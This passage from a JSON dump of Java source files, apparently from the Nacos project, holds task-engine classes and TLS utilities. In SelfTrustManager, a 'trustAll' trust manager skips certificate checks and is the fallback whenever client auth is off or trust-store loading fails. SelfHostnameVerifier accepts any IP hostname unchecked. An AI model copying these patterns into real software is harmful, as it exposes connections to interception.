    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task;\n\n/**\n * Nacos task.\n *\n * @author xiweng.yy\n */\npublic interface NacosTask {\n    \n    /**\n     * Judge Whether this nacos task should do.\n     *\n     * @return true means the nacos task should be done, otherwise false\n     */\n    boolean shouldProcess();\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/NacosTaskProcessor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task;\n\n/**\n * Task processor.\n *\n * @author Nacos\n */\npublic interface NacosTaskProcessor {\n    \n    /**\n     * Process task.\n     *\n     * @param task     task.\n     * @return process task result.\n     */\n    boolean process(NacosTask task);\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/engine/AbstractNacosTaskExecuteEngine.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task.engine;\n\nimport com.alibaba.nacos.common.task.NacosTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Collection;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Abstract nacos task execute engine.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractNacosTaskExecuteEngine<T extends NacosTask> implements NacosTaskExecuteEngine<T> {\n    \n    private final Logger log;\n    \n    private final ConcurrentHashMap<Object, NacosTaskProcessor> taskProcessors = new ConcurrentHashMap<>();\n    \n    private NacosTaskProcessor defaultTaskProcessor;\n    \n    public AbstractNacosTaskExecuteEngine(Logger logger) {\n        this.log = null != logger ? logger : LoggerFactory.getLogger(AbstractNacosTaskExecuteEngine.class.getName());\n    }\n    \n    @Override\n    public void addProcessor(Object key, NacosTaskProcessor taskProcessor) {\n        taskProcessors.putIfAbsent(key, taskProcessor);\n    }\n    \n    @Override\n    public void removeProcessor(Object key) {\n        taskProcessors.remove(key);\n    }\n    \n    @Override\n    public NacosTaskProcessor getProcessor(Object key) {\n        return taskProcessors.containsKey(key) ? taskProcessors.get(key) : defaultTaskProcessor;\n    }\n    \n    @Override\n    public Collection<Object> getAllProcessorKey() {\n        return taskProcessors.keySet();\n    }\n    \n    @Override\n    public void setDefaultTaskProcessor(NacosTaskProcessor defaultTaskProcessor) {\n        this.defaultTaskProcessor = defaultTaskProcessor;\n    }\n    \n    protected Logger getEngineLog() {\n        return log;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/engine/NacosDelayTaskExecuteEngine.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task.engine;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.executor.ExecutorFactory;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport org.slf4j.Logger;\n\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n * Nacos delay task execute engine.\n *\n * @author xiweng.yy\n */\npublic class NacosDelayTaskExecuteEngine extends AbstractNacosTaskExecuteEngine<AbstractDelayTask> {\n    \n    private final ScheduledExecutorService processingExecutor;\n    \n    protected final ConcurrentHashMap<Object, AbstractDelayTask> tasks;\n    \n    protected final ReentrantLock lock = new ReentrantLock();\n    \n    public NacosDelayTaskExecuteEngine(String name) {\n        this(name, null);\n    }\n    \n    public NacosDelayTaskExecuteEngine(String name, Logger logger) {\n        this(name, 32, logger, 100L);\n    }\n    \n    public NacosDelayTaskExecuteEngine(String name, int initCapacity, Logger logger, long processInterval) {\n        super(logger);\n        tasks = new ConcurrentHashMap<>(initCapacity);\n        processingExecutor = ExecutorFactory.newSingleScheduledExecutorService(new NameThreadFactory(name));\n        processingExecutor\n                .scheduleWithFixedDelay(new ProcessRunnable(), processInterval, processInterval, TimeUnit.MILLISECONDS);\n    }\n    \n    @Override\n    public int size() {\n        lock.lock();\n        try {\n            return tasks.size();\n        } finally {\n            lock.unlock();\n        }\n    }\n    \n    @Override\n    public boolean isEmpty() {\n        lock.lock();\n        try {\n            return tasks.isEmpty();\n        } finally {\n            lock.unlock();\n        }\n    }\n    \n    @Override\n    public AbstractDelayTask removeTask(Object key) {\n        lock.lock();\n        try {\n            AbstractDelayTask task = tasks.get(key);\n            if (null != task && task.shouldProcess()) {\n                return tasks.remove(key);\n            } else {\n                return null;\n            }\n        } finally {\n            lock.unlock();\n        }\n    }\n    \n    @Override\n    public Collection<Object> getAllTaskKeys() {\n        Collection<Object> keys = new HashSet<>();\n        lock.lock();\n        try {\n            keys.addAll(tasks.keySet());\n        } finally {\n            lock.unlock();\n        }\n        return keys;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        tasks.clear();\n        processingExecutor.shutdown();\n    }\n    \n    @Override\n    public void addTask(Object key, AbstractDelayTask newTask) {\n        lock.lock();\n        try {\n            AbstractDelayTask existTask = tasks.get(key);\n            if (null != existTask) {\n                newTask.merge(existTask);\n            }\n            tasks.put(key, newTask);\n        } finally {\n            lock.unlock();\n        }\n    }\n    \n    /**\n     * process tasks in execute engine.\n     */\n    protected void processTasks() {\n        Collection<Object> keys = getAllTaskKeys();\n        for (Object taskKey : keys) {\n            AbstractDelayTask task = removeTask(taskKey);\n            if (null == task) {\n                continue;\n            }\n            NacosTaskProcessor processor = getProcessor(taskKey);\n            try {\n                // ReAdd task if process failed\n                if (!processor.process(task)) {\n                    retryFailedTask(taskKey, task);\n                }\n            } catch (Throwable e) {\n                getEngineLog().error(\"Nacos task execute error \", e);\n                retryFailedTask(taskKey, task);\n            }\n        }\n    }\n    \n    private void retryFailedTask(Object key, AbstractDelayTask task) {\n        task.setLastProcessTime(System.currentTimeMillis());\n        addTask(key, task);\n    }\n    \n    private class ProcessRunnable implements Runnable {\n        \n        @Override\n        public void run() {\n            try {\n                processTasks();\n            } catch (Throwable e) {\n                getEngineLog().error(e.toString(), e);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/engine/NacosExecuteTaskExecuteEngine.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task.engine;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.task.AbstractExecuteTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.slf4j.Logger;\n\nimport java.util.Collection;\n\n/**\n * Nacos execute task execute engine.\n *\n * @author xiweng.yy\n */\npublic class NacosExecuteTaskExecuteEngine extends AbstractNacosTaskExecuteEngine<AbstractExecuteTask> {\n    \n    private final TaskExecuteWorker[] executeWorkers;\n    \n    public NacosExecuteTaskExecuteEngine(String name, Logger logger) {\n        this(name, logger, ThreadUtils.getSuitableThreadCount(1));\n    }\n    \n    public NacosExecuteTaskExecuteEngine(String name, Logger logger, int dispatchWorkerCount) {\n        super(logger);\n        executeWorkers = new TaskExecuteWorker[dispatchWorkerCount];\n        for (int mod = 0; mod < dispatchWorkerCount; ++mod) {\n            executeWorkers[mod] = new TaskExecuteWorker(name, mod, dispatchWorkerCount, getEngineLog());\n        }\n    }\n    \n    @Override\n    public int size() {\n        int result = 0;\n        for (TaskExecuteWorker each : executeWorkers) {\n            result += each.pendingTaskCount();\n        }\n        return result;\n    }\n    \n    @Override\n    public boolean isEmpty() {\n        return 0 == size();\n    }\n    \n    @Override\n    public void addTask(Object tag, AbstractExecuteTask task) {\n        NacosTaskProcessor processor = getProcessor(tag);\n        if (null != processor) {\n            processor.process(task);\n            return;\n        }\n        TaskExecuteWorker worker = getWorker(tag);\n        worker.process(task);\n    }\n    \n    private TaskExecuteWorker getWorker(Object tag) {\n        int idx = (tag.hashCode() & Integer.MAX_VALUE) % workersCount();\n        return executeWorkers[idx];\n    }\n    \n    private int workersCount() {\n        return executeWorkers.length;\n    }\n    \n    @Override\n    public AbstractExecuteTask removeTask(Object key) {\n        throw new UnsupportedOperationException(\"ExecuteTaskEngine do not support remove task\");\n    }\n    \n    @Override\n    public Collection<Object> getAllTaskKeys() {\n        throw new UnsupportedOperationException(\"ExecuteTaskEngine do not support get all task keys\");\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        for (TaskExecuteWorker each : executeWorkers) {\n            each.shutdown();\n        }\n    }\n    \n    /**\n     * Get workers status.\n     *\n     * @return workers status string\n     */\n    public String workersStatus() {\n        StringBuilder sb = new StringBuilder();\n        for (TaskExecuteWorker worker : executeWorkers) {\n            sb.append(worker.status()).append('\\n');\n        }\n        return sb.toString();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/engine/NacosTaskExecuteEngine.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task.engine;\n\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.task.NacosTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\n\nimport java.util.Collection;\n\n/**\n * Nacos task execute engine.\n *\n * @author xiweng.yy\n */\npublic interface NacosTaskExecuteEngine<T extends NacosTask> extends Closeable {\n    \n    /**\n     * Get Task size in execute engine.\n     *\n     * @return size of task\n     */\n    int size();\n    \n    /**\n     * Whether the execute engine is empty.\n     *\n     * @return true if the execute engine has no task to do, otherwise false\n     */\n    boolean isEmpty();\n    \n    /**\n     * Add task processor {@link NacosTaskProcessor} for execute engine.\n     *\n     * @param key           key of task\n     * @param taskProcessor task processor\n     */\n    void addProcessor(Object key, NacosTaskProcessor taskProcessor);\n    \n    /**\n     * Remove task processor {@link NacosTaskProcessor} form execute engine for key.\n     *\n     * @param key key of task\n     */\n    void removeProcessor(Object key);\n    \n    /**\n     * Try to get {@link NacosTaskProcessor} by key, if non-exist, will return default processor.\n     *\n     * @param key key of task\n     * @return task processor for task key or default processor if task processor for task key non-exist\n     */\n    NacosTaskProcessor getProcessor(Object key);\n    \n    /**\n     * Get all processor key.\n     *\n     * @return collection of processors\n     */\n    Collection<Object> getAllProcessorKey();\n    \n    /**\n     * Set default task processor. If do not find task processor by task key, use this default processor to process\n     * task.\n     *\n     * @param defaultTaskProcessor default task processor\n     */\n    void setDefaultTaskProcessor(NacosTaskProcessor defaultTaskProcessor);\n    \n    /**\n     * Add task into execute pool.\n     *\n     * @param key  key of task\n     * @param task task\n     */\n    void addTask(Object key, T task);\n    \n    /**\n     * Remove task.\n     *\n     * @param key key of task\n     * @return nacos task\n     */\n    T removeTask(Object key);\n    \n    /**\n     * Get all task keys.\n     *\n     * @return collection of task keys.\n     */\n    Collection<Object> getAllTaskKeys();\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/task/engine/TaskExecuteWorker.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.task.engine;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.task.AbstractExecuteTask;\nimport com.alibaba.nacos.common.task.NacosTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Nacos execute task execute worker.\n *\n * @author xiweng.yy\n */\npublic final class TaskExecuteWorker implements NacosTaskProcessor, Closeable {\n    \n    /**\n     * Max task queue size 32768.\n     */\n    private static final int QUEUE_CAPACITY = 1 << 15;\n    \n    private final Logger log;\n    \n    private final String name;\n    \n    private final BlockingQueue<Runnable> queue;\n    \n    private final AtomicBoolean closed;\n    \n    private final InnerWorker realWorker;\n    \n    public TaskExecuteWorker(final String name, final int mod, final int total) {\n        this(name, mod, total, null);\n    }\n    \n    public TaskExecuteWorker(final String name, final int mod, final int total, final Logger logger) {\n        this.name = name + \"_\" + mod + \"%\" + total;\n        this.queue = new ArrayBlockingQueue<>(QUEUE_CAPACITY);\n        this.closed = new AtomicBoolean(false);\n        this.log = null == logger ? LoggerFactory.getLogger(TaskExecuteWorker.class) : logger;\n        realWorker = new InnerWorker(this.name);\n        realWorker.start();\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    @Override\n    public boolean process(NacosTask task) {\n        if (task instanceof AbstractExecuteTask) {\n            putTask((Runnable) task);\n        }\n        return true;\n    }\n    \n    private void putTask(Runnable task) {\n        try {\n            queue.put(task);\n        } catch (InterruptedException ire) {\n            log.error(ire.toString(), ire);\n        }\n    }\n    \n    public int pendingTaskCount() {\n        return queue.size();\n    }\n    \n    /**\n     * Worker status.\n     */\n    public String status() {\n        return getName() + \", pending tasks: \" + pendingTaskCount();\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        queue.clear();\n        closed.compareAndSet(false, true);\n        realWorker.interrupt();\n    }\n    \n    /**\n     * Inner execute worker.\n     */\n    private class InnerWorker extends Thread {\n        \n        InnerWorker(String name) {\n            setDaemon(false);\n            setName(name);\n        }\n        \n        @Override\n        public void run() {\n            while (!closed.get()) {\n                try {\n                    Runnable task = queue.take();\n                    long begin = System.currentTimeMillis();\n                    task.run();\n                    long duration = System.currentTimeMillis() - begin;\n                    if (duration > 1000L) {\n                        log.warn(\"task {} takes {}ms\", task, duration);\n                    }\n                } catch (InterruptedException e) {\n                    // [issue #13752] ignore stack log\n                } catch (Throwable e) {\n                    log.error(\"[TASK-FAILED] \" + e, e);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/tls/SelfHostnameVerifier.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLSession;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * A HostnameVerifier verify ipv4 and localhost.\n *\n * @author wangwei\n */\n\npublic final class SelfHostnameVerifier implements HostnameVerifier {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SelfHostnameVerifier.class);\n    \n    private final HostnameVerifier hv;\n    \n    private static final ConcurrentHashMap<String, Boolean> HOSTS = new ConcurrentHashMap<>();\n    \n    private static final String[] LOCALHOST_HOSTNAME = new String[] {InternetAddressUtil.LOCAL_HOST,\n            InternetAddressUtil.localHostIp()};\n    \n    public SelfHostnameVerifier(HostnameVerifier hv) {\n        this.hv = hv;\n    }\n    \n    @Override\n    public boolean verify(String hostname, SSLSession session) {\n        if (LOCALHOST_HOSTNAME[0].equalsIgnoreCase(hostname) || LOCALHOST_HOSTNAME[1].equals(hostname)) {\n            return true;\n        }\n        if (isIp(hostname)) {\n            return true;\n        }\n        return hv.verify(hostname, session);\n    }\n    \n    private static boolean isIp(String host) {\n        if (host == null || host.isEmpty()) {\n            LOGGER.warn(\"host is empty, isIp = false\");\n            return false;\n        }\n        Boolean cacheHostVerify = HOSTS.get(host);\n        if (cacheHostVerify != null) {\n            return cacheHostVerify;\n        }\n        boolean isIp = InternetAddressUtil.isIp(host);\n        HOSTS.putIfAbsent(host, isIp);\n        return isIp;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/tls/SelfTrustManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.net.ssl.SSLException;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.TrustManagerFactory;\nimport javax.net.ssl.X509TrustManager;\nimport java.io.FileInputStream;\nimport java.io.InputStream;\nimport java.security.KeyStore;\nimport java.security.cert.Certificate;\nimport java.security.cert.CertificateException;\nimport java.security.cert.CertificateFactory;\nimport java.security.cert.X509Certificate;\nimport java.util.Collection;\n\n/**\n * A TrustManager tool returns the specified TrustManager.\n *\n * @author wangwei\n */\npublic final class SelfTrustManager {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SelfTrustManager.class);\n    \n    @SuppressWarnings(\"checkstyle:WhitespaceAround\")\n    static TrustManager[] trustAll = new TrustManager[] {new X509TrustManager() {\n        \n        @Override\n        public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {\n        }\n        \n        @Override\n        public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {\n        }\n        \n        @Override\n        public X509Certificate[] getAcceptedIssuers() {\n            return null;\n        }\n    }};\n    \n    /**\n     * Returns the result of calling {@link #buildSecureTrustManager} if {@code needAuth} is enable and {@code\n     * trustCertPath} exists. Returns the {@link #trustAll} otherwise.\n     *\n     * @param needAuth      whether need client auth\n     * @param trustCertPath trust certificate path\n     * @return Array of {@link TrustManager }\n     */\n    public static TrustManager[] trustManager(boolean needAuth, String trustCertPath) {\n        if (needAuth) {\n            try {\n                return trustCertPath == null ? null : buildSecureTrustManager(trustCertPath);\n            } catch (SSLException e) {\n                LOGGER.warn(\"degrade trust manager as build failed, \" + \"will trust all certs.\");\n                return trustAll;\n            }\n        } else {\n            return trustAll;\n        }\n    }\n    \n    private static TrustManager[] buildSecureTrustManager(String trustCertPath) throws SSLException {\n        TrustManagerFactory selfTmf;\n        InputStream in = null;\n        \n        try {\n            String algorithm = TrustManagerFactory.getDefaultAlgorithm();\n            selfTmf = TrustManagerFactory.getInstance(algorithm);\n            \n            KeyStore trustKeyStore = KeyStore.getInstance(\"JKS\");\n            trustKeyStore.load(null, null);\n            \n            in = new FileInputStream(trustCertPath);\n            CertificateFactory cf = CertificateFactory.getInstance(\"X.509\");\n            \n            Collection<X509Certificate> certs = (Collection<X509Certificate>) cf.generateCertificates(in);\n            int count = 0;\n            for (Certificate cert : certs) {\n                trustKeyStore.setCertificateEntry(\"cert-\" + (count++), cert);\n            }\n            \n            selfTmf.init(trustKeyStore);\n            return selfTmf.getTrustManagers();\n        } catch (Exception e) {\n            LOGGER.error(\"build client trustManagerFactory failed\", e);\n            throw new SSLException(e);\n        } finally {\n            IoUtils.closeQuietly(in);\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/tls/TlsFileWatcher.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.executor.ExecutorFactory;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.utils.ClassUtils;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Certificate file update monitoring\n *\n * <p>Considering that the current client needs to support jdk 1.6 and module dependencies ,\n * the WatchFileCenter in the core module is not used\n *\n * @author wangwei\n */\npublic final class TlsFileWatcher {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(TlsFileWatcher.class);\n    \n    private AtomicBoolean started = new AtomicBoolean(false);\n    \n    private final int checkInterval = TlsSystemConfig.tlsFileCheckInterval;\n    \n    private Map<String, String> fileMd5Map = new HashMap<>();\n    \n    private ConcurrentHashMap<String, FileChangeListener> watchFilesMap = new ConcurrentHashMap<>();\n    \n    private final ScheduledExecutorService service = ExecutorFactory.Managed\n            .newSingleScheduledExecutorService(ClassUtils.getCanonicalName(TlsFileWatcher.class),\n                    new NameThreadFactory(\"com.alibaba.nacos.core.common.tls\"));\n    \n    private static TlsFileWatcher tlsFileWatcher = new TlsFileWatcher();\n    \n    private TlsFileWatcher() {\n        start();\n    }\n    \n    public static TlsFileWatcher getInstance() {\n        return tlsFileWatcher;\n    }\n    \n    /**\n     * Add file change listener for specified path.\n     *\n     * @param fileChangeListener listener\n     * @param filePaths          file paths\n     * @throws IOException If an I/O error occurs\n     */\n    public void addFileChangeListener(FileChangeListener fileChangeListener, String... filePaths) throws IOException {\n        for (String filePath : filePaths) {\n            if (filePath != null && new File(filePath).exists()) {\n                watchFilesMap.put(filePath, fileChangeListener);\n                InputStream in = null;\n                try {\n                    in = new FileInputStream(filePath);\n                    fileMd5Map.put(filePath, MD5Utils.md5Hex(IoUtils.toString(in, Constants.ENCODE), Constants.ENCODE));\n                } finally {\n                    IoUtils.closeQuietly(in);\n                }\n            }\n        }\n    }\n    \n    /**\n     * start file watch task. Notify when the MD5 of file changed\n     */\n    public void start() {\n        if (started.compareAndSet(false, true)) {\n            service.scheduleAtFixedRate(() -> {\n                for (Map.Entry<String, FileChangeListener> item : watchFilesMap.entrySet()) {\n                    String filePath = item.getKey();\n                    String newHash;\n                    InputStream in = null;\n                    try {\n                        in = new FileInputStream(filePath);\n                        newHash = MD5Utils.md5Hex(IoUtils.toString(in, Constants.ENCODE), Constants.ENCODE);\n                    } catch (Exception exception) {\n                        LOGGER.warn(\" service has exception when calculate the file MD5. \" + exception);\n                        continue;\n                    } finally {\n                        IoUtils.closeQuietly(in);\n                    }\n                    if (!newHash.equals(fileMd5Map.get(filePath))) {\n                        LOGGER.info(filePath + \" file hash changed, need reload ssl context\");\n                        fileMd5Map.put(filePath, newHash);\n                        item.getValue().onChanged(filePath);\n                        LOGGER.info(filePath + \" onChanged success!\");\n                    }\n                }\n            }, 1, checkInterval, TimeUnit.MINUTES);\n        }\n    }\n    \n    public interface FileChangeListener {\n        \n        /**\n         * listener onChanged event.\n         *\n         * @param filePath Path of changed file\n         */\n        void onChanged(String filePath);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/tls/TlsHelper.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\nimport javax.net.ssl.SSLContext;\nimport java.security.KeyManagementException;\nimport java.security.NoSuchAlgorithmException;\n\n/**\n * Utils for build {@link SSLContext}.\n *\n * <p>Currently only supports client-side\n *\n * <h3>Making your client support TLS without authentication</h3>\n * <pre>\n * System.setProperty({@link TlsSystemConfig#TLS_ENABLE}, \"true\");\n * </pre>\n *\n * <h3>Making your client support TLS one-way authentication</h3>\n *\n * <pre>\n * System.setProperty({@link TlsSystemConfig#TLS_ENABLE}, \"true\");\n * System.setProperty({@link TlsSystemConfig#CLIENT_AUTH}, \"true\");\n * System.setProperty({@link TlsSystemConfig#CLIENT_TRUST_CERT}, \"trustCert\");\n * </pre>\n *\n * @author wangwei\n * @date 2020/8/19 2:59 PM\n */\npublic final class TlsHelper {\n    \n    /**\n     * Returns a {@link org.apache.http.ssl.SSLContexts}.\n     *\n     * <p>For example</p>\n     * <code>HttpsURLConnection.setDefaultSSLSocketFactory(TlsHelper.buildSslContext(true).getSocketFactory());</code>\n     *\n     * @param forClient whether for client\n     * @return {@link SSLContext}\n     * @throws NoSuchAlgorithmException Not support the specified algorithm\n     * @throws KeyManagementException   KeyManagement exception\n     */\n    public static SSLContext buildSslContext(boolean forClient)\n            throws NoSuchAlgorithmException, KeyManagementException {\n        \n        SSLContext sslcontext = SSLContext.getInstance(\"TLS\");\n        sslcontext.init(null, SelfTrustManager\n                        .trustManager(TlsSystemConfig.tlsClientAuthServer, TlsSystemConfig.tlsClientTrustCertPath),\n                new java.security.SecureRandom());\n        return sslcontext;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/tls/TlsSystemConfig.java",
